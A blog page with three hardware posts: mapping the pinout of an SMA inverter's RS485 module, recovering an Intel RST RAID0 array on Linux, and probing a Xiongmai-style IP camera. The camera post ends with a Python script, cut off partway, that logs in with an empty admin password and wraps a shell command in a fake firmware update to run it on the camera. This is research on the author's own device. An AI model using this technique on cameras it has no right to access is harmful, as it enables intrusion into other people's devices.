mensi.ch

Data Interface of an SMA SunnyBoy Inverter

We have a few old SMA SunnyBoy solar inverters I'd like to interface with - so after some research, it looks like these can be interfaced with different types of technologies (including RS232 and RS485). The way this is achieved is via "PiggyBack" modules that are installed in the inverter to provide one of these interface types.

Warning!

Before we proceed further with poking at the hardware, please keep in mind that these inverters have both mains voltage and the string voltage of your PV panels present. This voltage can easily be hundreds of volts DC! The connection between inverter and panels does not have an RCD. The panels will happily push current through you as long as the sun shines.

It is absolutely crucial that you completely disconnect the inverter from both mains and PV panels before even thinking about opening it. Additionally, the inverter has very large capacitors that need to discharge. Follow the instructions provided in the service manual. Do not open the inverter if you don't know what you're doing - get a certified electrician to help.

Taking a closer look at an RS485 PiggyBack

While one can find pictures on the internet and infer some information from installation manuals, it doesn't compare to having one in your hands. I luckily found an RS485 PiggyBack for a reasonable price on ebay and it even included all accessories and manuals.

Here it is:

The construction is clearly built around a large isolation gap in the middle, where we only have optocouplers and a transformer going across. There's even a slit below the optocouplers and the copper layers are pulled back.

On the upper side (with the 2*7 pin header), we have two large ICs:

  • a MAX253 transformer driver for isolated power supplies designed for isolated RS485 interfaces
  • some variant of an AHCT14 inverter with Schmitt-Trigger inputs

There are also two SRV05 ESD protection diode arrays (the small 6 pin ICs) and some passives. This looks very much like the "hot", inverter side.

On the bottom side (with the 2*5 pin header), there are also 2 large ICs:

  • a MAX487E RS485/RS422 transceiver
  • an ST KF50 low drop voltage regulator

We also have a couple of diodes and larger capacitors - these are part of the secondary side of the transformer isolated power supply. They pretty much follow the example circuit from the datasheet of the MAX253.

In general, it looks like this board is designed to take the interface and power from the inverter, isolate it and provide RS485 on the bottom header.

Where does it all plug into?

The inverter has the matching headers to plug it in:

We can again see that the upper part is connected to the rest of the inverter, while there is a large isolation gap around the lower header.

The screw terminal is labelled "2 3 5 7" and is used to connect the RS485 interface. The jumpers next to it can be used to enable 680Ω pull ups / downs and a 120Ω termination resistor. The 680Ω resistors can be seen on top of the header. The 120Ω resistor is not present on the inverter side (but can be found on the PiggyBack)

We can get the screw terminal assignment from the installation manual. The positions are used differently if we compare the manuals from the RS232 and RS485 PiggyBacks. The connections between screw terminal and pin header are quite easy to determine with a multimeter:

2 3 5 7
RS485 DATA+ GND DATA-
RS232 RX TX GND

Some pins seem unconnected - but based on installation manuals, it looks like other devices also supporting PiggyBacks have wider screw terminals. Maybe these pins are connected in those devices.

Just visually speaking, it looks like screw terminal positions labelled 2 and 7, so the DATA signals for RS485 are best suited for differential signals, as they are of similar length and only 7 has a short (5mm-ish) stub to the side for the jumper.

It's also interesting how there's a mix of resistors on the inverter and on the PiggyBack - naively I would assume that you'd just want to have connections to the jumpers and then supply any required resistors on the PiggyBack. It could however be that either for space constraints or signal conditioning this arrangement worked better.

For the 680Ω pull up, pin 2 on the lower header has to be supplied with 5V from the LDO. To protect against improper installation, the pin is connected via two 100Ω resistors in parallel to limit the current as well as a diode to avoid reverse current flow.

Pinout of the Hot Side

Trying to figure out the pinout of the hot side, we immediately have obvious candidates for power and ground:

Pin 10 has a thicker trace than the others, and pin 9 is fully connected to something kinda ground-plane-looking. We can easily confirm with a continuity test to the power and ground pins on the MAX253 given in its datasheet.

Since I do not want to mess with my inverter under power, I don't know whether power is 3.3V or 5V. All ICs work with both voltages. Another trick to see which one works is to just power the board with 3.3V and seeing whether the secondary side gets enough voltage for the 5V LDO to work. Unfortunately the transformer is wound to give a slightly higher voltage on the secondary and both 3.3V and 5V create secondary voltages acceptable for the 5V LDO.

For the other pins its best to work our way backwards. From the MAX487E we know which pin is what. We essentially have 4 signals:

  • RO: Receiver Output. This is the data received from RS485.
  • RE: Receiver Output Enable. Can be used to put RO into high impedance mode.
  • DE: Driver Output Enable. Has to be high to enable data transmission on RS485.
  • DI: Driver Input. This is the data sent to RS485.

Note that RE, DE and DI all have to be driven by the inverter side, while RO is the only signal in the other direction. This matches up with the optocouplers: 3 of them point from inverter to isolated side, while only one goes in reverse.

Following the signals, they all cross the optocoupler, pass through the Schmitt-Trigger inverters at least once, go through a protection resistor, pass by the ESD diode array and end up on the pin header. The mapping on the header ends up being:

  • RO: Pin 3
  • DE: Pin 4
  • DI: Pin 5
  • RE: Pin 7
  • GND: Pin 9
  • VCC: Pin 10

In terms of the other pins, it looks like some can optionally be connected via unpopulated resistor footprints. Only pin 13 is connected via a 0Ω resistor to an inverted version of DI. No idea what that's used for, maybe some feedback to see if the PiggyBack is present / working?

Mechanical Aspects

Finally, a short note on the mechanical aspects: The hole in the inverter housing seems to be sized for a PG16 cable gland. Since that is a bit wide for the cables used in RS485, a reduction to PG11 and a PG11 cable gland are actually used.

Since the cable is likely going to touch the main DC input assembly, a silicone tube is provided to add further insulation between the data cable and the rest of the inverter. Depending on the insulating material and thickness of the data cable you use, this could actually be necessary to provide the required insulation - after all, it would be a bit silly to add this many protection mechanisms on the PiggyBack to then have a poorly insulated data cable rest directly on the high voltage carrying parts.


Recovering an old Intel RST RAID0 Array

Many years ago, I was using a mainboard's integrated Intel Rapid Storage Technology feature to create a larger disk than was available for SSDs back then. I'd like to recover some data from them, so let's see what Linux can do.

Imaging the Disks

Whenever you work on data recovery, you really want to do everything you do on disk images instead of the live disks. It is too easy to mistype some command or get some unexpected software behavior, ruining your chances at recovery by writing over critical data.

Taking images is luckily trivial, you just need enough space:

# dd status=progress if=/dev/sda of=disk.img bs=1M

In this example, /dev/sda is the disk you want to image, and we set a blocksize of 1 megabyte. A larger blocksize than the default 512 bytes can make copying more efficient, depending on the type of disk etc.

I also took an image of the second disk, ending up with two files disk.img and disk2.img.

Exploring the Disks

Tools often expect blockdevices and not image files, so as a first step, let's create loopback devices for both:

# losetup --find --show disk.img
/dev/loop0
# losetup --find --show disk2.img
/dev/loop1

fdisk can already help us determine the order of the disks:

# fdisk -l /dev/loop0
Disk /dev/loop0: 238.47 GiB, 256060514304 bytes, 500118192 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x1234abcd

Device       Boot     Start        End   Sectors   Size Id Type
/dev/loop0p1 *         2048     718847    716800   350M  7 HPFS/NTFS/exFAT
/dev/loop0p2         718848  999301119 998582272 476.2G  7 HPFS/NTFS/exFAT
/dev/loop0p3      999301120 1000222719    921600   450M 27 Hidden NTFS WinRE

# fdisk -l /dev/loop1
Disk /dev/loop1: 238.47 GiB, 256060514304 bytes, 500118192 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

RAID0 works by interleaving chunks of data between the disks. Since the MBR with the partition table is quite small (512 bytes), it will entirely fit even in the smallest of stripe settings. For this reason, we only get a valid partition table on one of the disks, while not on the other.

We can also see that the second partition is actually larger than the single disk itself, further hinting at a RAID0 situation. It could of course be any sort of RAID technology but there should be further metadata about the configuration of the array. A first hint is this:

# blkid /dev/loop0
/dev/loop0: TYPE="isw_raid_member"

which is a string associated with Intel's Rapid Storage Technology (RST) or Matrix Storage Manager (MSM).

Trying mdadm

mdadm claims to support Intel RST, so let's give it a go:

# mdadm --examine -e imsm /dev/loop0 /dev/loop1
mdadm: /dev/loop0 is not attached to Intel(R) RAID controller.
mdadm: /dev/loop0 is not attached to Intel(R) RAID controller.
mdadm: Failed to retrieve serial for /dev/loop0
mdadm: Failed to load all information sections on /dev/loop0
mdadm: /dev/loop1 is not attached to Intel(R) RAID controller.
mdadm: /dev/loop1 is not attached to Intel(R) RAID controller.
mdadm: Failed to retrieve serial for /dev/loop1
mdadm: Failed to load all information sections on /dev/loop1

This is a bit disappointing, it seems like mdadm expects the array to be set up with the current mainboard, but we are looking at image files, not a live array. Consulting the internet reveals one can set an environment variable to tell mdadm to not expect a controller:

# IMSM_NO_PLATFORM=1 mdadm --examine -e imsm /dev/loop0 /dev/loop1
mdadm: Failed to retrieve serial for /dev/loop0
mdadm: Failed to load all information sections on /dev/loop0
mdadm: Failed to retrieve serial for /dev/loop1
mdadm: Failed to load all information sections on /dev/loop1

This is not really much better, but hey, we got a different error. The internet doesn't seem helpful in this case, so let's go poke a bit at the source code. The code is at on kernel.org but there also seems to be an older github mirror by the former maintainer. Since Github has some nicer code browsing features, let's use that.

Let's start by searching for the first error string: "Failed to retrieve serial for" which leads us to the promising sounding super-intel.c. The context around the line is this:

rv = nvme_get_serial(fd, buf, sizeof(buf));

if (rv)
    rv = scsi_get_serial(fd, buf, sizeof(buf));

if (rv && check_env("IMSM_DEVNAME_AS_SERIAL")) {
    memset(serial, 0, MAX_RAID_SERIAL_LEN);
    fd2devname(fd, (char *) serial);
    return 0;
}

if (rv != 0) {
    if (devname)
        pr_err("Failed to retrieve serial for %s\n",
               devname);
    return rv;
}

So it looks like mdadm is trying to read the serial number of the device it's looking at. This fails for loopback devices. But in the code, we can also see that there's a check for another environment variable to get around it: IMSM_DEVNAME_AS_SERIAL. Let's try that:

# IMSM_DEVNAME_AS_SERIAL=1 IMSM_NO_PLATFORM=1 mdadm --examine -e imsm /dev/loop0 /dev/loop1
/dev/loop0:
        Magic : Intel Raid ISM Cfg Sig.
        Version : 1.0.00
    Orig Family : c241033d
        Family : c241033d
    Generation : 00002613
Creation Time : Unknown
    Attributes : All supported
        UUID : 4de8c4a7:559e81a4:e0687ed8:b47e5ce8
    Checksum : 579a65d2 correct
    MPB Sectors : 1
        Disks : 2
RAID Devices : 1

[root]:
    Subarray : 0
        UUID : f9dd0ad6:7f914762:8b8feecb:32bda46b
    RAID Level : 0
        Members : 2
        Slots : [UU]
    Failed disk : none
    This Slot : ?
    Sector Size : 512
    Array Size : 1000226816 (476.95 GiB 512.12 GB)
Per Dev Size : 500113672 (238.47 GiB 256.06 GB)
Sector Offset : 0
    Num Stripes : 7814272
    Chunk Size : 32 KiB
    Reserved : 0
Migrate State : idle
    Map State : normal
    Dirty State : clean
    RWH Policy : off
    Volume ID : 0

Disk00 Serial : DISKSERIAL1
        State : active
            Id : 00000000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)

Disk01 Serial : DISKSERIAL2
        State : active
            Id : 00010000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)
/dev/loop1:
        Magic : Intel Raid ISM Cfg Sig.
        Version : 1.0.00
    Orig Family : c241033d
        Family : c241033d
    Generation : 00002613
Creation Time : Unknown
    Attributes : All supported
        UUID : 4de8c4a7:559e81a4:e0687ed8:b47e5ce8
    Checksum : 579a65d2 correct
    MPB Sectors : 1
        Disks : 2
RAID Devices : 1

[root]:
    Subarray : 0
        UUID : f9dd0ad6:7f914762:8b8feecb:32bda46b
    RAID Level : 0
        Members : 2
        Slots : [UU]
    Failed disk : none
    This Slot : ?
    Sector Size : 512
    Array Size : 1000226816 (476.95 GiB 512.12 GB)
Per Dev Size : 500113672 (238.47 GiB 256.06 GB)
Sector Offset : 0
    Num Stripes : 7814272
    Chunk Size : 32 KiB
    Reserved : 0
Migrate State : idle
    Map State : normal
    Dirty State : clean
    RWH Policy : off
    Volume ID : 0

Disk00 Serial : DISKSERIAL1
        State : active
            Id : 00000000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)

Disk01 Serial : DISKSERIAL2
        State : active
            Id : 00010000
    Usable Size : 500107790 (238.47 GiB 256.06 GB)

Very nice! This information looks all nice and correct.

Mounting the Array

Let's try to assemble the array:

# IMSM_DEVNAME_AS_SERIAL=1 IMSM_NO_PLATFORM=1  mdadm --assemble --verbose --metadata=imsm /dev/md99 /dev/loop0 /dev/loop1
mdadm: looking for devices for /dev/md99
mdadm: /dev/loop0 is identified as a member of /dev/md99, slot -1.
mdadm: /dev/loop1 is identified as a member of /dev/md99, slot -1.
mdadm: added /dev/loop1 to /dev/md99 as -1
mdadm: added /dev/loop0 to /dev/md99 as -1
mdadm: Container /dev/md99 has been assembled with 2 drives

Unfortunately this only seems to assemble a container which doesn't look like the actual array. Searching the internet is not really giving me the answer here, and such an abstract topic seems tricky to figure out without a complete study of the mdadm source code.

But we have another trick up our sleeve. We can use the device mapper directly to set up a device as we have all the configuration values from mdadm --examine. We know /dev/loop0 comes first and that the chunk size is 32 KiB. The total size is 1000226816. This number is weird though, weren't we expecting around 500000000000 bytes? Turns out, this number is in 512 byte sectors, not bytes. The good thing is dmsetup also expects sectors, so we don't have to convert it:

# dmsetup create restore --table "0 1000226816 striped 2 64 /dev/loop0 0 /dev/loop1 0"

This creates a device mapper volume called restore (so will be found at /dev/mapper/restore). The --table argument contains the config for the volume. The pieces are:

  • 0 the start sector. We start at the beginning, so 0 it is.
  • 1000226816 the number of sectors of the complete device. Copied from above.
  • striped data is striped as this is a RAID0.
  • 2 number of disks.
  • 64 stripe size in sectors. (32*1024)/512 = 32*2 = 64.
  • /dev/loop0 the first disk.
  • 0 start with the first sector.
  • /dev/loop1 the second disk.
  • 0 start with the first sector.

We can use kpartx and ntfs-3g to discover the partitions (so we get /dev/mapper/restore2 like we would with /dev/sda2) and mount the filesystem:

# kpartx -a /dev/mapper/restore
# ntfs-3g -o ro /dev/mapper/restore2 /mnt/restore

And there we go, all the data is there, yay!

Final Thoughts

While this was a good learning experience, having figured out everything let's you do more targeted searches for the magic keywords. And of course it turns out Andrew Brampton went through pretty much the same journey. Oh well ;)


Experimenting with a random Chinese 4K IP Camera

I recently stumbled on an Aliexpress listing for an 8MP, 4K, h.265-capable IP camera in a compact form factor. Neither the listing nor the packaging display any discernible manufacturer. The packaging specifies the model to be GS-BN1BC8MA. At the time of writing, I'm unable to find this model number on Google (nor Bing for that matter).

The product listing specifies the system as Linux on an Mstar processor.

Since similar product listings often mention Cloud NVR features, let's bring this up in an isolated network and see what happens.

Initial network activity

The packaging lists the camera's IP address as 192.168.1.10 without further detail. I therefore set up a network with the router on 192.168.1.1/24 as well as 192.168.57.1/24 with DHCP handing out addresses on the .57. subnet. The firewall is set up to drop anything originating from the interface while allowing ESTABLISHED,RELATED ctstates from my normal network. The DNS server on 192.168.57.1 is set up without any upstream servers, so all DNS lookups will fail.

On boot, the camera announces itself with an ARP broadcast as 192.168.1.10 with a MAC address starting with 00:12:31 (the vendor prefix of Motion Control Systems, Inc). The internet suggests that these IP cameras often just squat MAC address space of unrelated companies, so it can be that this company has nothing to do with the camera.

It also starts a DHCP discovery and will accept an offer, but does not seem to use the given IP address consistently. I've seen both cases where it continued using the default 192.168.1.10 and cases where it does use the IP given by DHCP.

We then see infinite periodic ICMP pings and DNS lookup attempts around every 10 seconds or so. ICMP pings go to:

  • 114.114.114.114 (seems to be some Chinese public DNS provider)
  • 8.8.8.8 (Google's public DNS)
  • 180.76.76.76 (Baidu's public DNS)

DNS lookups are attempted for:

  • secu100.net, via 192.168.57.1 (DHCP-provided) and 223.5.5.5 (alidns public DNS)
  • aiotsecu.com, via 8.8.8.8 and 114.114.114.114
  • pub-cfg.secu100.net, via 192.168.57.1, 8.8.8.8 and 223.5.5.5

Searching for the secu100.net domain suggests that the Cloud P2P feature the booklet mentions could be from Xiongmai, implying that segregating the camera into a restricted network might indeed have been a good idea.

Nmap finds these open ports:

# nmap -p- 192.168.1.10
Starting Nmap 7.80 ( https://nmap.org ) at 2022-10-23 12:57 UTC
Nmap scan report for 192.168.1.10
Host is up (0.00026s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
80/tcp    open  http
554/tcp   open  rtsp
8000/tcp  open  http-alt
8899/tcp  open  ospf-lite
34567/tcp open  dhanalakshmi

Some Googling hints at port 34567 being related to a protocol called "Polyvision" and it indeed seems the camera responds to UDP broadcasts like this (eth1 being on the isolated network):

# printf '\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfa\x05\x00\x00\x00\x00' | \
socat - udp-datagram:255.255.255.255:34569,broadcast,so-bindtodevice=eth1

python-dvr

It also looks like python-dvr works with this camera. With its get_system_info() function, we get an additional identifier for the hardware:

  • 'DeviceModel': 'IPC_NT98566_85N80_S38'
  • 'HardWare': 'IPC_NT98566_85N80_S38'

And capabilities:

{'AlarmFunction': {'AlarmConfig': True,
                'BlindDetect': True,
                'HumanDection': True,
                'HumanPedDetection': True,
                'LossDetect': True,
                'MotionDetect': True,
                'NetAbort': True,
                'NetAlarm': True,
                'NetIpConflict': True,
                'PEAInHumanPed': True,
                'StorageFailure': True,
                'StorageLowSpace': True,
                'StorageNotExist': True},
'CommFunction': {'CommRS232': True, 'CommRS485': True},
'EncodeFunction': {'DoubleStream': True,
                    'SmartH264V2': True,
                    'SnapStream': True},
'NetServerFunction': {'IPAdaptive': True,
                    'NetAlarmCenter': True,
                    'NetDDNS': True,
                    'NetDHCP': True,
                    'NetDNS': True,
                    'NetEmail': True,
                    'NetFTP': True,
                    'NetIPFilter': True,
                    'NetMutlicast': False,
                    'NetNTP': True,
                    'NetNat': True,
                    'NetPMS': True,
                    'NetPMSV2': True,
                    'NetRTSP': True,
                    'NetUPNP': True,
                    'OnvifPwdCheckout': True,
                    'WifiRouteSignalLevel': True},
'OtherFunction': {'NOHDDRECORD': True,
                'SupportAdminContactInfo': True,
                'SupportAlarmVoiceTipInterval': True,
                'SupportAlarmVoiceTips': True,
                'SupportAlarmVoiceTipsType': True,
                'SupportAppBindFlag': True,
                'SupportBT': True,
                'SupportCamareStyle': True,
                'SupportCfgCloudupgrade': True,
                'SupportChangeLanguageNoReboot': True,
                'SupportCloseVoiceTip': True,
                'SupportCloudUpgrade': True,
                'SupportCommDataUpload': True,
                'SupportDimenCode': True,
                'SupportFTPTest': True,
                'SupportFaceDetectV2': True,
                'SupportMailTest': True,
                'SupportPCSetDoubleLight': True,
                'SupportPWDSafety': True,
                'SupportSetVolume': True,
                'SupportShowH265X': True,
                'SupportSnapV2Stream': True,
                'SupportSoftPhotosensitive': True,
                'SupportTextPassword': True,
                'SupportTimeZone': True,
                'SupportWriteLog': True,
                'SuppportChangeOnvifPort': True},
'PreviewFunction': {'Talk': True},
'TipShow': {'NoBeepTipShow': True}}

Encoder settings ("Simplify.Encode"):

[{'ExtraFormat': {'AudioEnable': True,
                'Video': {'BitRate': 439,
                            'BitRateControl': 'VBR',
                            'Compression': 'H.265',
                            'FPS': 15,
                            'GOP': 2,
                            'Quality': 4,
                            'Resolution': 'HD1',
                            'VirtualGOP': 1},
                'VideoEnable': True},
'MainFormat': {'AudioEnable': True,
                'Video': {'BitRate': 1962,
                        'BitRateControl': 'VBR',
                        'Compression': 'H.265',
                        'FPS': 10,
                        'GOP': 2,
                        'Quality': 3,
                        'Resolution': '4K',
                        'VirtualGOP': 1},
                'VideoEnable': True}}]

Firmware

Googling for the device model we found (IPC_NT98566_85N80_S38) yields just one pair of results at the time of writing - but luckily it takes us to a firmware update.

The zip file contains 4 bin files:

  • FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin

These seem to actually also be ZIP archives we can unpack to get:

148b39bc79c603df94c53ce53663f590  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img

298bd81d05f88ef8446190ae31de8da3  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img

4187676e2b94c511eb4b9a3db4238d53  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img

534a17dfb80204176cea58d53a502848  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img

58d79de537e0d92e8271ee95e044d39c  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img

6bcb7228e9de76c99a290984d9416f4a  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
6f21727c0ebc4689967ac4889c8dcd4a  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
6f3754a39d5ea23062667e9ead4177ed  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
a2bbe7ae2caf6ee68f8c5247731a4e15  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
bded1bc502b172655ea1fbd7e37b3b3a  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
be58856026fb99305023d58cfb4ed2d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
cd06c03759cfaaa8b8e0ff5c7b17ffff  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
da952acca72f01b60d9910a48eaa5488  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc

f387bbd4b694fb3cc96c67d6515c93d4  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img

sorting them by md5 hash like this makes it quite obvious which files are common to all of them. The ones with differences seem to be InstallDesc and custom-x.squashfs.img. In InstallDesc, the difference seems to be just the CRC and Mx8Q value.

u-boot Environment

We can dump the U-Boot environment with dumpimage from the u-boot-tools package and some Python hackery to remove trailing null bytes and splitting variable definitions on null byte separators to get:

arch=arm
baudrate=115200
board=nvt-na51055
board_name=nvt-na51055
bootdelay=0
cpu=armv7
ethaddr=00:00:23:34:45:66
eth1addr=00:00:23:34:45:77
ethprime=eth0
fdt_high=0x04000000
gatewayip=192.168.68.254
hostname=oaalnx
ipaddr=192.168.68.101
netmask=255.255.255.0
serverip=192.168.68.100
soc=nvt-na51055
ld=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 loader.bin.img;flwrite
df=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 fdt.bin.img;flwrite
da=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.bin.img;sf probe 0;flwrite
de=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.env.img;sf probe 0;flwrite
dl=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 logo-x.squashfs.img;sf probe 0;flwrite
dr=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 romfs-x.squashfs.img;sf probe 0;flwrite
du=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 user-x.squashfs.img;sf probe 0;flwrite
dc=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 custom-x.squashfs.img;sf probe 0;flwrite
dw=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 web-x.squashfs.img;sf probe 0;flwrite
dd=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 mtd-x.jffs2.img;sf probe 0;flwrite
up=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 update.img;sf probe 0;flwrite
ua=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 upall_verify.img;sf probe 0;flwrite
tk=tftpboot 0x01000000 uImage;setenv setargs setenv bootargs ${bootargs};run setargs;nvt_boot 0x01000000
loadlogo=sf probe 0;sf read 0x02000000  ;logoload 0x02000000;decjpg 0;bootlogo
loadromfs=sf probe 0;sf read 0x02000000 0x40000 0x2E0000;squashfsload;nvt_boot
bootcmd=setenv setargs setenv bootargs ${bootargs};run setargs;run loadromfs
bootargs=earlyprintk console=ttyS0,115200 init=linuxrc mem=${osmem} rootwait nprofile_irq_duration=on root=/dev/mtdblock2 rootfstype=squashfs mtdparts=spi_nor.0:0x10000(loader),0x30000(boot),0x2E0000(romfs),0x420000(usr),0x40000(web),0x30000(custom),0x50000(mtd)
osmem=60M
stderr=ns16550_serial
stdin=ns16550_serial
stdout=ns16550_serial
vendor=novatek
ver=U-Boot 2016.07 (May 15 2019 - 21:34:56 +0800)

SquashFS images

We can also use dumpimage to convert the *.squashfs.img to bare SquashFS filsystems which we can then extract with unsquashfs. This works nicely to just get a look at the files, but it does not preserve the symlinks in some places.

A first obvious thing is to have a look at /etc/passwd. If we search for the root password hash on the internet, it seems to be a well-known password and also shows up in some Mirai botnet related testers for known hardcoded default credentials.

We can go a bit more fancy and mount the images:

mount "$FW_DIR/romfs-x.squashfs" "$MOUNT_DIR" -t squashfs -o loop
mount "$FW_DIR/user-x.squashfs" "$MOUNT_DIR/usr" -t squashfs -o loop
mount "$FW_DIR/web-x.squashfs" "$MOUNT_DIR/mnt/web" -t squashfs -o loop
mount "$FW_DIR/custom-x.squashfs" "$MOUNT_DIR/mnt/custom" -t squashfs -o loop

which will recreate the filesystem hierarchy the camera sees. This is not quite everything that is mounted, but you can see the exact setup in /etc/init.d/rcS. There, we can also see that the main application (/usr/bin/App) seems to be launched through /usr/sbin/AppRun.sh.

InstallDesc

The InstallDesc file is interesting since it contains instructions for what to do when running an upgrade. At first glance, it looks like there is some sort of integrity checking with the CRC and Mx8Q values.

The python-dvr project we used earlier has a method to apply such firmware upgrades, but more interestingly, it also has a script telnet_opener.py. It uses a "Shell" command instead of "Burn" to run scripts. The constructed InstallDesc file however seems to use some hardcoded CRC value independent of what script is run, suggesting that the CRC is not actually checked.

Sadly our firmware does not seem to include a telnetd binary, but we can test by pinging our router:

import zipfile
import argparse
import json

from dvrip import DVRIPCam


def make_zip(filename, cmd):
    data = json.dumps({
        "UpgradeCommand": [{"Command": "Shell", "Script": cmd}],
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)


def main():
    cam = DVRIPCam("<YOUR_CAMERA_IP>", user="admin", password="")
    if not cam.login():
        print("Cannot connect")
        return
